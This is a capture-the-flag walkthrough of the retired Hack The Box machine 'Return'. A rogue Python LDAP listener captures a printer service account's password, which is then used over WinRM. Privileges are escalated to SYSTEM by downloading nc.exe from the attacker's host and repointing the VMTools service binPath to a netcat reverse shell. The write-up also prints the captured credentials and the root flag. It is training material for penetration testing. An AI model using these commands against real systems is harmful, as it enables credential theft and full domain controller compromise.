Skip to content

Return

Machine Profile

OS: Windows Server 2019 (Active Directory) Difficulty: Easy IP: 10.10.11.108 Domain: return.local Pwned: 01 Jan 2026 — Machine Rank #10307 Key techniques: Rogue LDAP credential capture · Custom Python listener · Server Operators service hijack → SYSTEM


Reconnaissance

Step 1 — Port Scan

Goal: Map the attack surface.

Command:

sudo nmap -sCV -p- --min-rate 5000 -Pn 10.10.11.108

Output: Standard Active Directory port profile plus an IIS site on port 80 titled "HTB Printer Admin Panel":

PORT     STATE SERVICE      VERSION
53/tcp   open  domain       Simple DNS Plus
80/tcp   open  http         Microsoft IIS 10.0 — "HTB Printer Admin Panel"
88/tcp   open  kerberos-sec
135/tcp  open  msrpc
139/tcp  open  netbios-ssn
389/tcp  open  ldap         Microsoft Active Directory (Domain: return.local)
445/tcp  open  microsoft-ds
464/tcp  open  kpasswd5
593/tcp  open  ncacn_http
636/tcp  open  tcpwrapped
3268/tcp open  ldap
5985/tcp open  http         WinRM

Observation: Domain Controller plus a web app — and an HTB box specifically titled "Printer Admin Panel" is a strong steer that the web app is the entry.

Decision: Add return.local to /etc/hosts, then enumerate the web app and DNS in parallel.


Step 2 — DNS Subdomain Enumeration

Goal: Check for any non-default DNS records under return.local before committing to the web app.

Command:

gobuster dns -d return.local \
    -w /usr/share/wordlists/raft-large-files-lowercase.txt \
    -r return.local:53

Output: Gobuster DNS — no additional records

Observation: 35,326 entries tested. Zero new subdomains — only the default AD-integrated zones exist. No hidden vhosts.

Decision: All paths point at the printer web app. Move to web enumeration.


Step 3 — Web Recon & Settings Page

Goal: Map the printer admin panel and find the interesting endpoint.

Action: Browse http://10.10.11.108/, click through the navigation.

Output: Printer Settings page — Server Address, Server Port, Username, Password fields

Observation: The Settings page exposes a form with four fields:

  • Server Address: printer.return.local
  • Server Port: 389
  • Username: svc-printer
  • Password: ******* (masked)

This is an LDAP client configuration form — the printer authenticates against LDAP, and the admin can change where it binds to. The password is pre-populated but masked.

Decision: Clicking Update doesn't visibly change anything, but the printer almost certainly performs an actual LDAP bind to test the new config. If I redirect Server Address to my own listener on port 389, I should catch the bind packet — and if LDAPS isn't enforced, the password comes in cleartext.


Step 4 — Confirm with Dirsearch

Goal: Quick sanity check — make sure there are no other endpoints worth poking.

Command:

dirsearch -u http://10.10.11.108/

Output: Dirsearch — only index.php, settings.php, /images

Observation: Only /index.php, /index.php/login/, /settings.php, and /images/ exist. The settings page is confirmed as the only meaningful attack surface.

Decision: Build the rogue LDAP listener.


Initial Foothold — Custom Python LDAP Listener

Step 5 — Build a Minimal LDAP Bind Capture

Goal: Catch the credentials the printer will send when it tries to bind.

Why not just nc? A bare netcat works but it doesn't decode anything — and I want a clean hex dump so I can prove what I caught. A 20-line Python socket script is more portable and self-documenting.

Command:

cat > ldap_capture.py << 'EOF'
#!/usr/bin/env python3
import socket

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
s.bind(('0.0.0.0', 389))
s.listen(1)

print('[*] Listening on port 389...')
conn, addr = s.accept()
print(f'[+] Connection from {addr}')
data = conn.recv(4096)
print('[+] Received data:')
print(data)
print('\n[+] Hex dump:')
print(data.hex())
conn.close()
EOF

chmod +x ldap_capture.py
sudo python3 ldap_capture.py

Output: Custom Python listener catches the LDAP bind in cleartext

Observation: Listener is bound on port 389 (needs sudo for ports < 1024).

Decision: Now trigger the bind by editing the printer's Server Address.


Step 6 — Redirect the Printer's LDAP Server

Goal: Make the printer connect to my listener instead of its real LDAP server.

Action: On the Settings page:

  1. Replace Server Address with 10.10.14.2 (attacker tun0 IP)
  2. Leave Server Port as 389
  3. Click Update

Output (back at the listener):

[*] Listening on port 389...
[+] Connection from ('10.10.11.108', 62505)
[+] Received data:
b'0*\x02\x01\x01`%\x02\x01\x02\x04\x12return\\svc-printer\x80\x0c1edFg43012!!'

[+] Hex dump:
302a02010160250201020412072657475726e5c7376632d7072696e7465 ...

Observation: Bind captured. The interesting structural bytes are:

  • \x04\x12return\\svc-printer — DN/username (length 18 bytes): return\svc-printer
  • \x80\x0c1edFg43012!! — simple-auth password (length 12 bytes): 1edFg43012!!

The bind was sent unencrypted because I downgraded the configuration to plain LDAP on port 389 (not LDAPS:636). This is exactly why LDAP signing + LDAPS are critical in production.

Decision: Validate the credentials against SMB and WinRM.


Step 7 — Validate Credentials & Get the User Flag

Goal: Confirm the captured creds work and obtain user.txt.

Command:

smbclient -L //10.10.11.108/Shares -U svc-printer
# Password: 1edFg43012!!

Output: SMB shares accessible as svc-printer + BloodHound collection running

Observation: Credentials work for SMB. ADMIN$, C$, IPC$, NETLOGON, SYSVOL all visible. While I'm at it, I kick off BloodHound collection in parallel (top half of the screenshot shows bloodhound.py running against return.local).

Decision: Go straight for WinRM since port 5985 is open.


Step 8 — WinRM Shell as svc-printer

Goal: Get an interactive shell and capture user.txt.

Command:

evil-winrm -i 10.10.11.108 -u svc-printer -p '1edFg43012!!'

Output: Evil-WinRM as svc-printer + user.txt found on Desktop

Observation: Shell is live. C:\Users\svc-printer\Desktop\user.txt retrieved successfully.

Decision: Time to enumerate svc-printer's privileges and find the privesc path.


Privilege Escalation — Server Operators Service Hijack

Step 9 — Enumerate Privileges and Group Membership

Goal: See what svc-printer can actually do on the box.

Command:

whoami /all

Output: whoami /all — svc-printer is in Server Operators + Print Operators + Remote Management Users

Observation: Three groups stand out:

Group Why it matters
BUILTIN\Server Operators Can start/stop/reconfigure services on a DC — including services running as LocalSystem
BUILTIN\Print Operators Can load drivers — useful for kernel-level privesc, not needed here
BUILTIN\Remote Management Users Already gave us WinRM

Privileges include SeBackupPrivilege, SeRestorePrivilege, SeLoadDriverPrivilege, SeMachineAccountPrivilege — multiple privesc primitives.

Decision: Server Operators is the fastest path. Pick any service that runs as LocalSystem (the VMTools service is stopped on this box — perfect: less risk of breaking the machine), repoint its binPath to a payload, then start it.


Step 10 — Confirm Kerberoastable Accounts (Side Quest)

Goal: Check whether anything else is roastable before committing to the service hijack.

Command:

netexec ldap 10.10.11.108 -u svc-printer -p '1edFg43012!!' \
    --kerberoasting kerberoast_hashes.txt

Output: netexec ldap — Pwn3d! + 0 kerberoastable records

Observation: netexec flags svc-printer as Pwn3d! (meaning it can authenticate but also implying admin-tier rights somewhere), and reports 0 kerberoastable recordskrbtgt is correctly disabled as it should be. So Kerberoasting is a dead end here.

Decision: Back to the service hijack plan.


Step 11 — Upload nc.exe to the Target

Goal: Get a reverse-shell binary onto the box ready to be launched by the hijacked service.

Command (on attacker, hosting nc.exe):

python3 -m http.server 80

Command (inside Evil-WinRM session):

cd C:\Users\svc-printer\Documents
iwr http://10.10.14.2/nc.exe -OutFile nc.exe

Output:

2026-01-01 15:01:48 (434 KB/s) - 'nc.exe' saved [45272/45272]

(Visible at the top of the dirsearch screenshot from Step 4.)

Observation: 45,272 bytes downloaded. nc.exe is in C:\Users\svc-printer\Documents.

Decision: Now reconfigure a LocalSystem service to launch it.


Step 12 — Hijack the VMTools Service

Goal: Reconfigure a service running as LocalSystem to spawn our reverse shell.

Command (inside Evil-WinRM):

sc.exe config VMTools binPath="C:\Users\svc-printer\Documents\nc.exe -e cmd.exe 10.10.14.2 4444"
sc.exe start VMTools

Output: sc.exe config VMTools — ChangeServiceConfig SUCCESS — start hangs then fails 1053

Observation: Walking through the screenshot top to bottom:

  1. sc.exe config VMTools binPath=...[SC] ChangeServiceConfig SUCCESS — Server Operators rights let us repoint the binary
  2. sc.exe query VMTools → state STOPPED
  3. sc.exe start VMTools → after ~30 seconds: The service did not respond to the start or control request in a timely fashion. FAILED 1053

The error 1053 is expected — the Service Control Manager waits ~30 seconds for the binary to register as a proper Windows service (responding to SCM control messages). nc.exe is not a service binary, so SCM kills it. But by then our reverse shell has already connected.

Repeated start attempts fail because the service is now stuck in START_PENDING state, which is also fine — we already have what we need from the first one.

Decision: Check the listener — the shell should already be there.


Step 13 — Catch the SYSTEM Shell and Capture root.txt

Goal: Confirm the reverse shell, read root.txt.

Command (attacker box, running before Step 12):

nc -lnvp 4444

Output: nc receives SYSTEM shell + root.txt = 5f387909d5ff4cdcb85abab38008b845

Observation:

Listening on 0.0.0.0 4444
Connection received on 10.10.11.108 62467
Microsoft Windows [Version 10.0.17763.107]
(c) 2018 Microsoft Corporation. All rights reserved.

C:\Windows\system32>type C:\Users\Administrator\Desktop\root.txt
5f387909d5ff4cdcb85abab38008b845

C:\Windows\system32>

The reverse shell landed and survived past the SCM timeout because cmd.exe -e forked the netcat process before SCM tried to kill it. Reading root.txt from the Administrator desktop confirms SYSTEM-level access.


Step 14 — HTB Pwn Confirmation

Return has been Pwned — phasetafadzwa · 01 Jan 2026 · Machine Rank #10307 · Retired


Key Takeaways

  • Any input field that takes a "server address" is a credential exfiltration primitive when the protocol downgrades to cleartext. Always test what happens if you point it at your own listener — printers, MFPs, NAS appliances, scanners, IoT devices routinely do this in 2026.
  • A 20-line Python TCP listener beats a full rogue LDAP server when you just need to read the bind. The hex dump also makes the captured creds easy to spot at the byte level (\x04 = length-prefixed DN, \x80 = simple-auth password tag).
  • Server Operators is a hidden privesc primitive on Domain Controllers. Members can reconfigure any service — including ones running as LocalSystem. Always enumerate ALL group memberships of a compromised user with whoami /all, not just the obvious admin ones. BloodHound's Owned UserShortest Path to Domain Admins query catches Server Operators paths.
  • The 1053 - service did not respond error is the expected outcome of a service-hijack with a non-service binary. SCM kills the process after the timeout, but a cmd.exe -e wrapper has already forked your reverse shell before that happens.

Tools Used

nmap · gobuster · dirsearch · Custom Python LDAP listener · smbclient · evil-winrm · netexec · nc.exe · sc.exe · BloodHound

The Python listener source is published in Tools & Scripts → LDAP Capture.